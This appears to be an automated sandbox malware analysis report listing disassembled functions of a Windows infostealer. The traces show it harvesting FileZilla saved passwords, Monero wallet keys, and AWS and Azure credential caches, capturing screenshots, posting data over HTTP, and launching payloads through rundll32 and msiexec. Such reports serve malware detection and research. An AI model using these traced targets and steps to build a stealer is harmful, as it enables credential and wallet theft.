lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00180DB2), ref: 00170393
StrStrA.SHLWAPI(00000000,<Port>), ref: 001703CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00180DB2), ref: 001703DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00170419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00180DB2), ref: 00170427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00170463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00180DB2), ref: 00170475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00180DB2), ref: 00170502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00180DB2), ref: 0017051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00180DB2), ref: 00170532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00180DB2), ref: 0017054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00170562
lstrcat.KERNEL32(?,profile: null), ref: 00170571
lstrcat.KERNEL32(?,url: ), ref: 00170580
lstrcat.KERNEL32(?,00000000), ref: 00170593
lstrcat.KERNEL32(?,00181678), ref: 001705A2
lstrcat.KERNEL32(?,00000000), ref: 001705B5
lstrcat.KERNEL32(?,0018167C), ref: 001705C4
lstrcat.KERNEL32(?,login: ), ref: 001705D3
lstrcat.KERNEL32(?,00000000), ref: 001705E6
lstrcat.KERNEL32(?,00181688), ref: 001705F5
lstrcat.KERNEL32(?,password: ), ref: 00170604
lstrcat.KERNEL32(?,00000000), ref: 00170617
lstrcat.KERNEL32(?,00181698), ref: 00170626
lstrcat.KERNEL32(?,0018169C), ref: 00170635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00180DB2), ref: 0017068E

Strings

password: , xrefs: 001705FB
browser: FileZilla, xrefs: 00170559
<User>, xrefs: 00170410
login: , xrefs: 001705CA
<Port>, xrefs: 001703C6
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 001702A4
<Pass encoding="base64">, xrefs: 0017045A
url: , xrefs: 00170577
profile: null, xrefs: 00170568
<Host>, xrefs: 0017037C

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: b214110228dbca203a309b61eebd45cb1723063bf037ed9d95bb9ed24b9b60ba
Instruction ID: d467b5e079ec2aa4bd60cc172cb4b10300d9cf40ac3812915e0c3fd672ead610
Opcode Fuzzy Hash: b214110228dbca203a309b61eebd45cb1723063bf037ed9d95bb9ed24b9b60ba
Instruction Fuzzy Hash: 20D13372900108ABCB05FBF4DD96DEE773CAF69301F908518F106A7095EF75AA46CB62

Function 00165960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

Part of subcall function 001647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00164839
Part of subcall function 001647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00164849

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001659F8
StrCmpCA.SHLWAPI(?,00CCFC38), ref: 00165A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00165B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00CCFB88,00000000,?,00CCEDD0,00000000,?,00181A1C), ref: 00165E71
lstrlen.KERNEL32(00000000), ref: 00165E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00165E93
RtlAllocateHeap.NTDLL(00000000), ref: 00165E9A
lstrlen.KERNEL32(00000000), ref: 00165EAF
lstrlen.KERNEL32(00000000), ref: 00165ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00165EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00165F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00165F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00165F4C
InternetCloseHandle.WININET(00000000), ref: 00165FB0
InternetCloseHandle.WININET(00000000), ref: 00165FBD
HttpOpenRequestA.WININET(00000000,00CCFC08,?,00CCF4B8,00000000,00000000,00400100,00000000), ref: 00165BF8

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

InternetCloseHandle.WININET(00000000), ref: 00165FC7

Strings

------, xrefs: 00165A96
", xrefs: 00165CD5
------, xrefs: 00165C0B
------, xrefs: 00165D4C
", xrefs: 00165E16

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: d7069786f869b6f0d3299aa6737c572ab406074c4dcec50b4da5c0c5d59e385f
Instruction ID: d1a8bab3aaad5e17b720a7bc63b8a371964e8ac3733efb18473b5fb64d2c9f10
Opcode Fuzzy Hash: d7069786f869b6f0d3299aa6737c572ab406074c4dcec50b4da5c0c5d59e385f
Instruction Fuzzy Hash: CA12E072860118ABDB15EBA0DC95FEEB37CBF64701F908199B11A63091DF702B49CF66

Function 0016CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Part of subcall function 00178B60: GetSystemTime.KERNEL32(00180E1A,00CCEEF0,001805AE,?,?,001613F9,?,0000001A,00180E1A,00000000,?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 00178B86

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0016CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0016D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0016D0CE
lstrcat.KERNEL32(?,00000000), ref: 0016D208
lstrcat.KERNEL32(?,00181478), ref: 0016D217
lstrcat.KERNEL32(?,00000000), ref: 0016D22A
lstrcat.KERNEL32(?,0018147C), ref: 0016D239
lstrcat.KERNEL32(?,00000000), ref: 0016D24C
lstrcat.KERNEL32(?,00181480), ref: 0016D25B
lstrcat.KERNEL32(?,00000000), ref: 0016D26E
lstrcat.KERNEL32(?,00181484), ref: 0016D27D
lstrcat.KERNEL32(?,00000000), ref: 0016D290
lstrcat.KERNEL32(?,00181488), ref: 0016D29F
lstrcat.KERNEL32(?,00000000), ref: 0016D2B2
lstrcat.KERNEL32(?,0018148C), ref: 0016D2C1
lstrcat.KERNEL32(?,00000000), ref: 0016D2D4
lstrcat.KERNEL32(?,00181490), ref: 0016D2E3

Part of subcall function 0017A820: lstrlen.KERNEL32(00164F05,?,?,00164F05,00180DDE), ref: 0017A82B
Part of subcall function 0017A820: lstrcpy.KERNEL32(00180DDE,00000000), ref: 0017A885

lstrlen.KERNEL32(?), ref: 0016D32A
lstrlen.KERNEL32(?), ref: 0016D339

Part of subcall function 0017AA70: StrCmpCA.SHLWAPI(00CC9428,0016A7A7,?,0016A7A7,00CC9428), ref: 0017AA8F

DeleteFileA.KERNEL32(00000000), ref: 0016D3B4

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 2ef05ec998c9ff54e72b09bf0b90c317d682214f36bd9c14deaf29f43c70740d
Instruction ID: b912257055fefb209113b259eaae4d84b63d542d14bf334d20e3f34c21c99868
Opcode Fuzzy Hash: 2ef05ec998c9ff54e72b09bf0b90c317d682214f36bd9c14deaf29f43c70740d
Instruction Fuzzy Hash: B3E10F72910108ABCB05FBA0DD96EEE777CBF65301F508158F10BA70A1DF35AA06CB62

Function 0016C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00CCDA00,00000000,?,0018144C,00000000,?,?), ref: 0016CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0016CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0016CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0016CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0016CAD9
StrStrA.SHLWAPI(?,00CCD9A0,00180B52), ref: 0016CAF7
StrStrA.SHLWAPI(00000000,00CCD9D0), ref: 0016CB1E
StrStrA.SHLWAPI(?,00CCE358,00000000,?,00181458,00000000,?,00000000,00000000,?,00CC9308,00000000,?,00181454,00000000,?), ref: 0016CCA2
StrStrA.SHLWAPI(00000000,00CCE0D8), ref: 0016CCB9

Part of subcall function 0016C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0016C871
Part of subcall function 0016C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0016C87C

StrStrA.SHLWAPI(?,00CCE0D8,00000000,?,0018145C,00000000,?,00000000,00CC9348), ref: 0016CD5A
StrStrA.SHLWAPI(00000000,00CC9288), ref: 0016CD71

Part of subcall function 0016C820: lstrcat.KERNEL32(?,00180B46), ref: 0016C943
Part of subcall function 0016C820: lstrcat.KERNEL32(?,00180B47), ref: 0016C957
Part of subcall function 0016C820: lstrcat.KERNEL32(?,00180B4E), ref: 0016C978

lstrlen.KERNEL32(00000000), ref: 0016CE44
CloseHandle.KERNEL32(00000000), ref: 0016CE9C

Strings

, xrefs: 0016C9C6

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: c07fcefeeac3cce2cbdfceb57206693943d3a5af90b9af7649d50aa9c539bd8f
Instruction ID: 6d2ef0cd48fcdbc3ab0f32509895f2f8a994eb64270ad69cfdcbb41d8bfa130f
Opcode Fuzzy Hash: c07fcefeeac3cce2cbdfceb57206693943d3a5af90b9af7649d50aa9c539bd8f
Instruction Fuzzy Hash: E8E1F172D00108ABDB15EBA4DC95FEEB77CAF64301F808159F11A67191EF306A4ACF62

Function 00178320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

RegOpenKeyExA.ADVAPI32(00000000,00CC9048,00000000,00020019,00000000,001805B6), ref: 001783A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00178426
wsprintfA.USER32 ref: 00178459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0017847B
RegCloseKey.ADVAPI32(00000000), ref: 0017848C
RegCloseKey.ADVAPI32(00000000), ref: 00178499

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

Strings

?, xrefs: 0017837A
- , xrefs: 001785A3
%s\%s, xrefs: 0017844D

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 81157298a5af7b023f187d419541d12ec20cb9b45d6aa978daba154c96f42a75
Instruction ID: 545c6604400330c6afa731073b92595498ff7ff953d8977bd89566593065df5a
Opcode Fuzzy Hash: 81157298a5af7b023f187d419541d12ec20cb9b45d6aa978daba154c96f42a75
Instruction Fuzzy Hash: 9D811C72950118ABDB69DB64CC95FEE77BCBF58700F40C298E109A6140DF716B89CFA1

Function 00174D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00178DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00178E0B

lstrcat.KERNEL32(?,00000000), ref: 00174DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00174DCD

Part of subcall function 00174910: wsprintfA.USER32 ref: 0017492C
Part of subcall function 00174910: FindFirstFileA.KERNEL32(?,?), ref: 00174943

lstrcat.KERNEL32(?,00000000), ref: 00174E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00174E59

Part of subcall function 00174910: StrCmpCA.SHLWAPI(?,00180FDC), ref: 00174971
Part of subcall function 00174910: StrCmpCA.SHLWAPI(?,00180FE0), ref: 00174987
Part of subcall function 00174910: FindNextFileA.KERNEL32(000000FF,?), ref: 00174B7D
Part of subcall function 00174910: FindClose.KERNEL32(000000FF), ref: 00174B92

lstrcat.KERNEL32(?,00000000), ref: 00174EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00174EE5

Part of subcall function 00174910: wsprintfA.USER32 ref: 001749B0
Part of subcall function 00174910: StrCmpCA.SHLWAPI(?,001808D2), ref: 001749C5
Part of subcall function 00174910: wsprintfA.USER32 ref: 001749E2
Part of subcall function 00174910: PathMatchSpecA.SHLWAPI(?,?), ref: 00174A1E
Part of subcall function 00174910: lstrcat.KERNEL32(?,00CCFAF8), ref: 00174A4A
Part of subcall function 00174910: lstrcat.KERNEL32(?,00180FF8), ref: 00174A5C
Part of subcall function 00174910: lstrcat.KERNEL32(?,?), ref: 00174A70
Part of subcall function 00174910: lstrcat.KERNEL32(?,00180FFC), ref: 00174A82
Part of subcall function 00174910: lstrcat.KERNEL32(?,?), ref: 00174A96
Part of subcall function 00174910: CopyFileA.KERNEL32(?,?,00000001), ref: 00174AAC
Part of subcall function 00174910: DeleteFileA.KERNEL32(?), ref: 00174B31

Strings

*.*, xrefs: 00174DD8
\.aws\, xrefs: 00174E4D
Azure\.aws, xrefs: 00174E5F
msal.cache, xrefs: 00174EF0
*.*, xrefs: 00174E64
Azure\.azure, xrefs: 00174DD3
Azure\.IdentityService, xrefs: 00174EEB
\.azure\, xrefs: 00174DC1
\.IdentityService\, xrefs: 00174ED9

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 16cbe024e55e045bd090166d21bb8c1a87324f5f7655523334538067f642d74e
Instruction ID: 5c2a964a784928bf69a0ec2db249d42008ddcb7276361c238c75c4f4e1f1964d
Opcode Fuzzy Hash: 16cbe024e55e045bd090166d21bb8c1a87324f5f7655523334538067f642d74e
Instruction Fuzzy Hash: 5041717A94020867CB64F770DC47FED773CAB65701F408894B689A60C1EFB457C98B92

Function 00179010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0017906C

Strings

image/jpeg, xrefs: 00179136

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: a6bb298578f9a96dfcc684d776723dfeb12ea32199b2507adb55a5183c47bf71
Instruction ID: 44109498f516a38f9208ca29464c1b127ed87e1953355a72d1a706ab62520227
Opcode Fuzzy Hash: a6bb298578f9a96dfcc684d776723dfeb12ea32199b2507adb55a5183c47bf71
Instruction Fuzzy Hash: A971CA76910608ABDB04EBE4DC89FEEB7BDAB49700F148508F516A7290DB35A905CB61

Function 00172E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

ShellExecuteEx.SHELL32(0000003C), ref: 001731C5
ShellExecuteEx.SHELL32(0000003C), ref: 0017335D
ShellExecuteEx.SHELL32(0000003C), ref: 001734EA

Strings

<, xrefs: 00173490
C:\Windows\system32\rundll32.exe, xrefs: 00173332
C:\Windows\system32\msiexec.exe, xrefs: 001734BF
/i ", xrefs: 001733E4
.dll, xrefs: 001731E5
/passive, xrefs: 0017345B
.msi, xrefs: 00173398
"" , xrefs: 0017309A

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

